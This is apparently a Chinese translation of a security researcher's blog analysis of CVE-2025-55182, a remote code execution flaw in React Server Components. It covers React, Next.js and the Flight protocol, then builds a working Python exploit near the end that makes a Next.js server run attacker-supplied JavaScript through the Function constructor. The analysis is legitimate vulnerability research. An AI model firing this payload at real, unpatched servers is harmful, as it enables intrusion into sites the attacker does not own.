白帽故事 · 2026年1月6日

React2Shell 的 CVE-2025-55182 深入技术分析

近期,React 维护团队披露了 一个未授权远程代码执行漏洞(RCE),该漏洞影响 React 服务器组件(React Server Components)。React 是海量网站技术栈和框架的核心依赖,包括 next.jsreact-routerwakuvitejs/plugin-rsc 等,受此漏洞影响的活跃服务器多达数百万台。

本文将对该漏洞的利用链展开详尽且通俗易懂的分析,重点拆解漏洞利用程序的构建思路、实现方法,以及如何将其转化为可攻击的武器。

背景介绍

若你对 React 服务器 组件 不熟悉,需先了解:这是 React 实现服务器端渲染(Server Side Rendering)的核心方案。简单来说,React 服务器组件会将 DOM 树片段传输至后端处理,这种开发模式能缩短页面加载时间、提升用户体验一致性,还能统一前后端开发范式,但也带来了一个庞大且文档缺失的攻击面。

客户端与服务器的通信基于 React Flight 协议(React Flight Protocol)实现,该协议负责组件的序列化/反序列化,以及后端函数的触发。这些操作均在底层完成,因此元框架开发者需自行将 react-server 导出的函数集成到技术栈中(例如,next.js 的相关处理逻辑可参考:https://github.com/vercel/next.js/blob/0e973f71f133f4a0b220bbf1e3f0ed8a7c75e00d/packages/next/src/server/app-render/action-handler.ts#L879)。

多层抽象设计是导致文档缺失、标准不统一的重要原因,也使得不安全代码长期未被发现。本文将从基础概念入手,逐步讲解至漏洞验证程序(PoC)的实现过程。

React 发展简史

在深入分析漏洞前,有必要先了解 React 的发展历程及其核心解决的问题。

React 由 Facebook 于 2013 年首次发布(详见:https://github.com/facebook/react/releases/tag/v0.3.0),是一款声明式 JavaScript UI 开发库。其核心创新在于组件化架构(component-based architecture)虚拟 DOM(Virtual DOM),让开发者能编写高性能、易维护的 UI 代码。

状态(State)核心概念

React 的核心是状态(state)。在原生 JavaScript 中,若更新一个用于计算并渲染到 DOM 的变量,开发者需手动编写逻辑,用新值更新受影响的 DOM 元素;而 React 会通过状态(states) 自动完成这一过程——状态是决定组件渲染逻辑和行为的数据,当状态变化时,React 只会高效重渲染受影响的组件:

import { useState } from 'react';

function Counter() {
  const [count, setCount] = useState(0);

  return (
    <div>
      <p>你点击了 {count} 次</p>
      <button onClick={() => setCount(count + 1)}>
        点击我
      </button>
    </div>
  );
}

这个简单示例体现了 React 的响应式模型:调用 setCount 时,React 会自动用新状态值重渲染组件。底层实现上,React 通过 协调算法(reconciliation algorithm) 对比新旧虚拟 DOM 树,高效更新真实 DOM。这一机制简化了复杂的 DOM 操作,让开发者能专注于业务逻辑,实现更高效、更稳定的开发。

打包工具与 JavaScript 生态

随着 React 应用复杂度提升,对专业构建工具的需求也日益增加。早期 React 应用依赖 webpack——一款模块打包工具,可将 JavaScript、CSS 等资源转换并打包,适配浏览器运行环境。

// webpack.config.js 示例
module.exports = {
  entry: './src/index.js',
  output: {
    filename: 'bundle.js',
    path: path.resolve(__dirname, 'dist'),
  },
  module: {
    rules: [
      {
        test: /\.jsx?$/,
        use: 'babel-loader',
        exclude: /node_modules/,
      },
    ],
  },
};

Webpack 及同类工具(Parcel、Rollup、Vite 等)的核心作用是:

打包步骤至关重要,因为浏览器原生不支持 JSX、ES6+ 语法或 npm 模块。打包工具会将以下代码:

import React from 'react';
import Button from './components/Button';

const App = () => <Button label="点击" />;

转换为可在任意现代浏览器中运行的 JavaScript 代码。

打包流程

元框架的崛起:Next.js 与服务器端渲染

尽管 React 革新了客户端开发,但也带来了核心问题:首屏加载慢、对 SEO 不友好。早期 React 应用完全基于客户端运行,用户会先下载空白 HTML 页面,等待 JavaScript 加载执行后才能看到内容,搜索引擎也难以索引这类应用。

Next.js 的诞生

由 Vercel 开发的 Next.js 于 2016 年首次发布(详见:https://github.com/vercel/next.js/releases/tag/1.0.0),作为构建在 React 之上的元框架(meta-framework),它提供了额外的架构规范和功能,核心创新是服务器端渲染(Server-Side Rendering,SSR)

服务器端渲染(SSR)

通过 SSR 技术,服务器不再向客户端发送空白 HTML 骨架:

<!-- 传统客户端 React 应用 -->
<html>
  <body>
    <div id="root"></div>
    <script src="bundle.js"></script>
  </body>
</html>

Next.js 会在服务器端渲染 React 组件,并发送内容完整的 HTML 页面:

<!-- Next.js SSR 渲染结果 -->
<html>
  <body>
    <div id="root">
      <div class="app">
        <h1>欢迎访问</h1>
        <p>内容已直接渲染完成!</p>
      </div>
    </div>
    <script src="bundle.js"></script>
  </body>
</html>

页面的 JavaScript 仍会加载并为页面“注水(hydrate)”(绑定事件处理程序),但用户能立即看到页面内容。

Next.js 提供了多种渲染策略:

// 带服务器端数据请求的 Next.js 页面
export async function getServerSideProps(context) {
  const res = await fetch('https://api.example.com/data');
  const data = await res.json();

  return {
    props: { data }, // 传递给页面组件的属性
  };
}

export default function Page({ data }) {
  return <div>{data.title}</div>;
}

向服务器组件的演进

尽管 SSR 具备诸多优势,但也存在局限性。2020 年,React 公布了 React 服务器组件(React Server Components,RSC),这是一次范式升级,允许组件仅在服务器端运行。

Next.js 对 RSC 的率先落地

2022 年发布的 Next.js 13 是首个通过 App Router 在生产环境中落地 React 服务器组件的主流框架。该实现方式明确区分了两种组件:

// app/page.jsx - 服务器组件(App Router 默认类型)
import { db } from '@/lib/database';

export default async function Page() {
  // 这段代码仅在服务器端运行
  const posts = await db.query('SELECT * FROM posts');

  return (
    <div>
      {posts.map(post => (
        <article key={post.id}>
          <h2>{post.title}</h2>
          <p>{post.content}</p>
        </article>
      ))}
    </div>
  );
}
// components/LikeButton.jsx - 客户端组件
'use client'; // 该指令标记组件为客户端组件

import { useState } from 'react';

export function LikeButton() {
  const [likes, setLikes] = useState(0);

  return (
    <button onClick={() => setLikes(likes + 1)}>
      点赞数: {likes}
    </button>
  );
}

其核心优势如下:

服务器组件与客户端组件对比

React 对 RSC 的核心生态集成

尽管 Next.js 率先落地了 RSC,但 React 服务器组件最终作为核心功能被正式集成到 React 18 和 React 19 中。React 核心团队与各框架开发者密切合作,确保 RSC 能在整个生态中落地。

React 核心团队将 底层协议 提取为可复用的包,这使得整个生态能够基于统一的实现方式标准化,同时让各框架在具体集成时保留灵活性。

深入理解 Flight 协议

React Flight 协议(React Flight Protocol) 是支撑 React 服务器组件运行的序列化格式,它定义了 React 组件、属性(props)和数据从服务器传输到客户端的方式。理解该协议是理解本次漏洞的关键。

Flight 协议解决的问题

请看以下服务器组件示例:

// app/posts/[id]/page.jsx (服务器组件)
import { db } from '@/lib/db';
import { LikeButton } from './LikeButton';

export default async function PostPage({ params }) {
  const post = await db.posts.findById(params.id);
  const author = await db.users.findById(post.authorId);
  const comments = await db.comments.findByPostId(post.id);

  return (
    <article>
      <h1>{post.title}</h1>
      <p>作者: {author.name}</p>
      <div>{post.content}</div>
      <LikeButton postId={post.id} />
      <section>
        {comments.map(comment => (
          <div key={comment.id}>
            <strong>{comment.author}</strong>: {comment.text}
          </div>
        ))}
      </section>
    </article>
  );
}

服务器需要传输以下内容:

  1. 渲染后的 HTML 结构
  2. 数据(帖子、作者、评论)
  3. 客户端组件的引用(LikeButton
  4. 上述所有内容之间的关联关系

Flight 协议会将所有这些内容序列化为客户端可重构的流式格式。

Flight 协议结构

该协议以数据流的形式传输数据块,每个数据块都有唯一的 ID 标识。以下是服务器为上述组件发送的内容:

M1:["app/posts/[id]/LikeButton.jsx","LikeButton"]
J0:["$","article",null,{"children":[["$","h1",null,{"children":"Understanding RSC"}],["$","p",null,{"children":["By ","Alice"]}],["$","div",null,{"children":"Post content here..."}],["$","@1",null,{"postId":123}],["$","section",null,{"children":[...]}]]]

对其拆解分析:

实战示例:底层原理

我们来详细梳理一个真实组件的执行流程:

// app/UserProfile.jsx (服务器组件)
import { ClientButton } from './ClientButton';

export default async function UserProfile({ userId }) {
  const user = await fetch(`https://api.example.com/users/${userId}`)
    .then(res => res.json());

  return (
    <div className="profile">
      <img src={user.avatar} alt={user.name} />
      <h1>{user.name}</h1>
      <p>{user.bio}</p>
      <ClientButton label="关注" userId={userId} />
    </div>
  );
}

步骤 1:服务器渲染组件

当服务器接收到请求时,会执行以下操作:

  1. UserProfile 作为异步函数执行
  2. 等待数据请求完成
  3. 构建 React 元素树
  4. 通过 Flight 协议序列化该元素树

步骤 2:Flight 协议序列化

React 服务器会生成以下 Flight 数据流:

M1:["./ClientButton.jsx","ClientButton"]
J0:["$","div",null,{"className":"profile","children":[
  ["$","img",null,{"src":"https://cdn.example.com/avatar.jpg","alt":"Alice"}],
  ["$","h1",null,{"children":"Alice"}],
  ["$","p",null,{"children":"Software engineer and React enthusiast"}],
  ["$","@1",null,{"label":"Follow","userId":123}]
]}

以下是 React 序列化器的相关代码(源码):

function resolveClientComponent(type, props) {
  // 生成客户端组件的引用
  const moduleId = getModuleId(type);
  return {
    $$typeof: CLIENT_REFERENCE,
    _moduleId: moduleId,
    props: props
  };
}

步骤 3:客户端重构

浏览器接收到该数据流后,会执行以下操作:

  1. 解析数据块
  2. 重构 React 元素树
  3. 加载被引用的客户端组件(M1
  4. 为交互式组件注水

    // 简化的客户端重构逻辑
    function parseFlightStream(stream) {
    const chunks = new Map();
    
    // 解析: M1:["./ClientButton.jsx","ClientButton"]
    chunks.set('M1', {
    type: 'module',
    path: './ClientButton.jsx',
    export: 'ClientButton'
    });
    
    // 解析: J0:["$","div",...]
    chunks.set('J0', {
    type: 'jsx',
    element: 'div',
    props: { className: 'profile' },
    children: [
      { type: 'img', props: { src: '...', alt: 'Alice' } },
      { type: 'h1', children: 'Alice' },
      { type: 'p', children: 'Software engineer...' },
      { type: 'ref', ref: '@1', props: { label: 'Follow', userId: 123 } }
    ]
    });
    
    return reconstructTree(chunks.get('J0'), chunks);
    }

作为攻击面的 Flight 协议

假设服务器以数据块形式接收序列化数据。数据块本质上是通过网络传输的、自包含的序列化数据包。客户端按顺序接收这些数据块,并在接收到后立即处理,从而实现渐进式加载。RSC 支持通过为每个数据块标记状态(PENDINGBLOCKEDERROREDINITIALIZEDRESOLVED_MODEL(初始化前状态)或 CYCLIC(当前正迭代处理直至完全注水))来传递后续数据块的引用。

序列化请求示例

POST / HTTP/1.1
Host: localhost:5555
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 642
Content-Type: multipart/form-data; boundary=060160836ce39005e491f6d3738e03a4

--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="0"

"J:{\"type\":\"div\",\"props\":{\"children\":[{\"$\":\"1\",\"children\":[]}]}}"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="1"

"{\"object1\":{\"key1\":\"value1\"}}"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="2"

"\"$@3\""
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="3"

"[\"$1:object1:key1\"]"
--060160836ce39005e491f6d3738e03a4
Content-Disposition: form-data; name="4"

"M:[\"app/components/Button.jsx\",\"default\"]"
--060160836ce39005e491f6d3738e03a4--

这是 next.js 服务器预期接收的序列化 Flight 数据流示例。需要重点注意的是,React 服务器操作(React Server Actions)会被 next.js 预处理,因此无论有多少中间件,任何有效载荷都会被传输到后端。

你可能已经注意到该协议的一些特性,例如通过 $ 引用其他数据块、通过 : 访问属性,以及解析 JSON 对象。

以下是相关数据块的更易读格式:

{
    '1':'{"object1":{"key1":"value1"}}',
    '2':'"$@3"',
    '3':'["$1:object1:key1"]'
}

支持的数据类型(非完整列表)

所有序列化字符串均由内部函数 parseModelString 处理。以下是部分受支持的数据类型(通常称为引用类型),其中对构建漏洞验证程序(Proof of Concept)尤为重要的是 PromiseBlobChunk Reference

前缀 类型 描述
$$ 转义字符串(Escaped String) $ 开头的字面量字符串(例如,$$hello 反序列化后为 $hello
$@ Promise/数据块引用(Promise/Chunk Ref) 指向可流式传输数据块或 Promise 解析值的引用,由 ID 标识(例如,$@0
$F 服务器引用(Server Reference) 指向应在服务器端执行的函数的引用(服务器操作(Server Action)),支持客户端与服务器通信
$B 二进制大对象(Blob) 指向 Blob 对象或二进制数据的引用
$[十六进制] 数据块引用(Chunk Reference) 通过十六进制 ID 指向 数据块(Chunk) 的引用(例如,$1f
$Q 映射(Map) 指向 Map 对象的引用
$W 集合(Set) 指向 Set 对象的引用
$K 表单数据(FormData) 指向 FormData 对象的引用
$D 日期(Date) 编码 Date 对象(例如,$D2024-01-01T12:00:00.000Z
$n 大整数(BigInt) 编码 BigInt
$u 未定义(undefined) 表示 JavaScript 中的 undefined
$N 非数字(NaN) 表示 JavaScript 中的 NaN(非数字)值

搭建调试环境

要深入理解后端逻辑,最佳方式是在 VSCode 中搭建调试环境,并在关键函数处添加断点。研究人员选择搭建 next.js 实例,并使用自行打包的模块。

package.json 代码片段

 "dependencies": {
    "form-data": "^4.0.5",
    "next": "16.0.6",
    "react": "file:/[...]/react/packed/react-19.2.0",
    "react-dom": "file:/[...]/react/packed/react-dom-19.2.0",
    "scheduler": "file:/[...]/react/packed/scheduler-0.28.0"
  },

事后看来,如果当初正确配置了源映射(source maps),整体调试体验可能会更顺畅,但他仍通过 @maple3142 公开的漏洞利用程序,借助 JS 的 debugger; 语句设置断点,并获取了内部函数的引用。

漏洞利用

初始测试

探索该应用的常规思路是尝试获取 Object 和 Function 的原型引用。建议不熟悉 JavaScript 继承和原型概念的读者阅读 MDN 的相关文档。

发送以下数据:

chunks = {
    '0':'"$1:__proto__:constructor:constructor"',
    '1':'{"key":2}'
}

验证了该假设的正确性。

getChunk(response, 0).value -> ƒ Function()

接下来只需追踪参数解析的执行位置,并获取合适的利用工具(gadgets),以便针对任意输入调用构造函数。

调用栈分析

以下是剔除无关功能后的顶层调用栈概览:

调用栈

这是典型的字符串引用解析过程的调用栈。

漏洞定位

如前所述,获取 Function 构造函数的引用并非难事。导致该漏洞的代码可在上述的值解析器中找到。

getOutlinedModel

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // 初始化后状态可能发生变化
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      const parentChunk = initializingChunk;
      chunk.then(
        createModelResolver(
          parentChunk,
          parentObject,
          key,
          chunk.status === CYCLIC,
          response,
          map,
          path,
        ),
        createModelReject(parentChunk),
      );
      return (null: any);
    default:
      throw chunk.reason;
  }
}

createModelResolver

function createModelResolver<T>(...){

   ...

  return value => {
    for (let i = 1; i < path.length; i++) {
      value = value[path[i]];
    }
    parentObject[key] = map(response, value);
    ...
  }
}

以下是修复后的版本,展示了正确的实现方式:

const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
    value = value[name];
}

重新梳理其他函数并寻找利用工具

以下是几个关键代码片段:

initializeModelChunk

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // 在完全解析前将状态设为循环引用
  // 这一步要在解析前完成,防止解析模型时重复初始化同一数据块(例如循环引用场景)
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
    ...
  }
}

reviveModel

function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue,
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // 此处不能使用.bind,因为需要保留this上下文
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  if (typeof value === 'object' && value !== null) {
    if (
      reference !== undefined &&
      response._temporaryReferences !== undefined
    ) {
      // 存储对象引用,以备后续返回使用
      registerTemporaryReference(
        response._temporaryReferences,
        value,
        reference,
      );
    }
    if (Array.isArray(value)) {
      for (let i = 0; i < value.length; i++) {
        const childRef =
          reference !== undefined ? reference + ':' + i : undefined;
        // $FlowFixMe[cannot-write]
        value[i] = reviveModel(response, value, '' + i, value[i], childRef);
      }
    } else {
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel(
            response,
            value,
            key,
            value[key],
            childRef,
          );
          if (newValue !== undefined) {
            // $FlowFixMe[cannot-write]
            value[key] = newValue;
          } else {
            // $FlowFixMe[cannot-write]
            delete value[key];
          }
        }
      }
    }
  }
  return value;
}

与引用问题类似,代码中也未添加校验逻辑来防止数据块污染 _response 等内部对象。研究人员可以串联这些漏洞,将 Function 构造函数赋值给任意函数。


字符串解析器中存在一个可被利用的关键点:

parseModelString

if (value[0] === '$') {
    switch (value[1]) {
        case '$': {
            // 转义字符串值
            return value.slice(1);
        }
        case '@': {
            // Promise类型
            const id = parseInt(value.slice(2), 16);
            const chunk = getChunk(response, id);
            return chunk;
        }
      ...

        case 'B': {
            // Blob类型
            const id = parseInt(value.slice(2), 16);
            const prefix = response._prefix;
            const blobKey = prefix + id;
            // 引用Blob前应确保其已存在于存储中
            const backingEntry: Blob = (response._formData.get(blobKey): any);
            return backingEntry;
        }
      ...
    }

    const ref = value.slice(1);
    return getOutlinedModel(response, ref, obj, key, createModel);
}

Blob 引用的反序列化过程会调用 response._formData.get(response._prefix + id),若能控制 response 参数并触发 parseModelString 函数,即可滥用此逻辑。

回溯调用树可推断,调用 parseModelString 的唯一路径是 initializeModelChunk » reviveModel

因此,必须找到一种方法,通过完全可控的数据块触发 initializeModelChunk 函数。

我们再次梳理可用的字符串引用类型。根据详尽的文档描述,前缀为 $@ 的引用被定义为指向数据块的 Promise:

// Promise

getChunk

function getChunk(response: Response, id: number): SomeChunk<any> {
  const chunks = response._chunks;
  let chunk = chunks.get(id);
  if (!chunk) {
    const prefix = response._prefix;
    const key = prefix + id;
    // 检查后备存储中是否存在该字段
    const backingEntry = response._formData.get(key);
    if (backingEntry != null) {
      // 暂时假设该字段为字符串类型
      chunk = createResolvedModelChunk(response, (backingEntry: any), id);
    } else if (response._closed) {
      // 响应已出错,不会再接收数据流,直接返回错误
      chunk = createErroredChunk(response, response._closedReason);
    } else {
      // 等待数据流传输该数据块
      chunk = createPendingChunk(response);
    }
    chunks.set(id, chunk);
  }
  return chunk;
}

createResolvedModelChunk

function createResolvedModelChunk<T>(
  response: Response,
  value: string,
  id: number,
): ResolvedModelChunk<T> {
  // $FlowFixMe[invalid-constructor] Flow 不支持将函数作为构造函数
  return new Chunk(RESOLVED_MODEL, value, id, response);
}

Chunk

function Chunk(status: any, value: any, reason: any, response: Response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response;
}
// 继承Promise.prototype以获得.catch等方法
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: 与原生.then不同,该方法不会返回新的Promise链
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // 如果数据块已解析,先尝试初始化,这可能会改变其状态
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // 初始化后状态可能发生变化
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

由此可知,getChunk 函数仅会创建一个原始的、可执行 then 方法的(thenable)数据块,并提供自定义的 then 处理程序。需注意的是,数据块被赋值给 this 关键字,会复制当前作用域的属性。若能在可控作用域内触发此逻辑,只需将状态设为 resolved_model,即可向 initializeModelChunk 传入一个“伪造”的数据块。获取该函数的引用十分简单,只需从 Chunk 原型中提取:$CHUNK_ID:__proto__.then

由于数据块是 可执行 then 方法的对象(thenables),且元框架会等待其执行完成,因此覆盖 then 函数是实现漏洞利用的理想选择。

相关代码可见 next.js 源码:https://github.com/vercel/next.js/blob/3f19ee59f0e056241e35a7494d869b2958159cb6/packages/next/src/server/app-render/action-handler.ts#L879

boundActionArguments = await decodeReplyFromBusboy(
  busboy,
  serverModuleMap,
  { temporaryReferences }
)

所有包含多部分表单数据(multipart form data)且带有 Next-Action 请求头的请求,都会执行这段代码。

漏洞利用链整合

至此,向“伪造”数据块调用 initializeModelChunk 的方法已十分明确:

controlled_chunk = {
    "_response": {
        "_prefix": "console.log(3);",
        "_formData": {
            "get": "$1:constructor:constructor",
        }
    },
    "then": "$1:__proto__:then",
    # 不能使用数据块0,因为它处于循环引用状态
    # 会返回解析器而非then方法
    "status": "resolved_model",
    "value":'"$B0"',
    "reason": "" # 未设置该字段会导致initializeModelChunk报错
}

files = {# 无文件名 => 多部分表单数据格式
    "0": (None, json.dumps(controlled_chunk)),
    "1": (None, '"$@0"')
}

res = requests.post("http://localhost:3000/", files=files, headers={'Next-Action':'feasto'})
print(res.text)

调试器验证了该有效载荷的有效性,并创建了一个匿名函数。调试过程

该数据块同样是可执行 then 方法的对象,因此我们可以挂钩其 then 属性来触发目标函数。

最终有效载荷:

controlled_chunk = {
    "_response": {
        "_prefix": "console.log('thanks for reading!');",
        "_formData": {
            "get": "$1:constructor:constructor",
        }
    },
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "value":'{"then":"$B0"}',
    "reason": ""
}

files = {
    "0": (None, json.dumps(controlled_chunk)),
    "1": (None, '"$@0"')
}

远程代码执行效果

前端框架的安全现状

前端框架已从简单的 UI 库演变为支撑全球数百万生产环境应用的关键基础设施。仅 React 就被 Meta、Netflix、Airbnb 及无数企业级应用 使用,而 Next.js 则为 TikTok、Twitch、Hulu 等高流量网站提供支撑。这种广泛的应用规模意味着,这些框架中的漏洞不仅会影响单个应用,还会给整个网络生态带来系统性风险

框架漏洞为何具有放大效应

与传统的应用层漏洞不同,框架漏洞是效应放大器(force multipliers)。React 服务器组件中的一个漏洞,不会仅影响一个应用,而是可能波及所有实现了 RSC 的 Next.js、Remix、Waku 和 React Router 应用。这种供应链效应的影响范围极为惊人——因为开发者信任框架维护者已确保底层抽象的安全性,而一旦这份信任被打破,漏洞的影响范围会呈量级扩大。

现代框架在技术栈中还占据着独特的位置:它们处于用户输入与服务器执行之间,负责序列化、反序列化和状态管理——而这类跨边界的处理逻辑,历来是高危漏洞的重灾区。尤其是 React 服务器组件,其模糊客户端与服务器边界的设计方式,是传统安全模型未曾覆盖的。

抽象层与复杂状态机

快速交付功能的竞争压力,导致框架实现的抽象层愈发复杂。

这并非 React 独有的问题,而是现代前端架构的系统性问题。随着各框架竞相实现服务器端渲染、流式传输、孤岛架构(Islands Architecture)等性能优化特性,它们构建的复杂状态机需要处理不可信输入——这类系统极易滋生漏洞,原因如下:

  1. 攻击面极广,但相关文档却不完善
  2. JavaScript 的动态特性天然容易引发类型混淆(Type confusion)原型污染(prototype pollution) 问题
  3. 测试工作聚焦于正常业务流程(happy paths),而非针对破坏状态机的恶意输入
  4. 在迭代迅速的框架生态中,安全评审滞后于功能开发

框架级漏洞利用的上升趋势

当前,框架/元框架层出现高危漏洞的趋势已十分明显。

数百万应用依赖这些框架,安全社区已开始将框架视为高价值目标,而针对框架的安全研究浪潮,目前或许才刚刚起步。

与 Log4Shell 的相似性

CVE-2025-55182 与 Log4Shell(CVE-2021-44228)具有惊人的相似性,预计该漏洞的利用周期也会同样漫长。

正如 Log4j 被嵌入无数 Java 应用中一样,React 服务器组件已成为现代 Web 应用的基础组成部分。与可快速修复的应用层漏洞不同,框架漏洞需要多层级的修复方案:

  1. 底层框架需更新至修复版本
  2. Next.js、Remix、Waku 等元框架需集成这些修复
  3. 企业还需通过组织级的变更管理流程审批并安排更新

这一瓶颈向来会拖慢企业环境中依赖包的更新进度。例如,在 Log4j 漏洞披露数年后,仍有大量企业在运行 Java 8 和未打补丁的 Log4j 版本。预计 React 也会出现类似情况。

其他利用路径与失败尝试

本文采用了 @maple3142 发布的漏洞验证程序(PoC),他认为这是从零构建的最简洁、最易理解的方案。显然,还可通过其他方式利用现有基础能力(primitives)实现有效漏洞利用(详见:@lachlan2k 发布的初始 PoC)。

初始 PoC 采用的思路与之高度相似,但未使用 Chunk.prototype.then,而是通过 [].map$CHUNK_ID:_response:_chunksinitializeModelChunk 传入“伪造”数据块。

在失败的尝试中,研究人员发现多个函数(如 entryKey.slice(formPrefix.length))无法被利用;另有部分函数(如 requireModule)虽存在原型污染风险,但无法提供额外的可利用基础能力。

原文:https://i0.rs/blog/a-deep-and-very-technical-analysis-of-cve-2025-55182-react2-shell/